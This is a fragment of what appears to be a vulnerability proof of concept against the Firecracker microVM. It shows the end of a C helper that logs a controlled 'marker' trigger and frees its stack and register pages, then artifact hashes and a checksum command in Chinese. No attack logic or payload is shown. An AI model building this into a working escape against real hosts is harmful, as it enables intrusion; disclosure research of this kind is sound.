    __atomic_thread_fence(__ATOMIC_SEQ_CST);

    printf("{\"schema\":\"net08-v23-owned-private-stack-marker-v1\","
           "\"event\":\"marker_trigger_returned\","
           "\"runId\":\"%s\",\"triggerByteCount\":1,"
           "\"privateStackBytesRestored\":true,"
           "\"sharedTextWriteAttempted\":false,"
           "\"shellAttempted\":false,\"hostCommandAttempted\":false}\n",
           run_id);
    fflush(stdout);

    if (munmap(stack_page, PAGE_SIZE_U64) != 0 ||
        munmap(ptregs_page, PAGE_SIZE_U64) != 0) {
        perror("munmap marker pages");
        return 70;
    }
    close(port_fd);
    close(memory_fd);
    return 0;
}

工件哈希为:

Firecracker stderr capture:
5b8c0c0b5d5acb9ddf96891c79db8004832fd084e5e2d77484075995396fabbf

Final helper ELF:
fabf71650b76f7bbc9908df9474ab3aa7ec503dcc6c168cf5cb7236f50318faa

Final helper source:
fb6b4215ebc2a1d7fe14e5488ea2ff88417b5b81b4a6db8c39b9113fa7ce703c

使用以下命令对照清单验证包:

shasum -a 256 -c SHA256SUMS

技术参考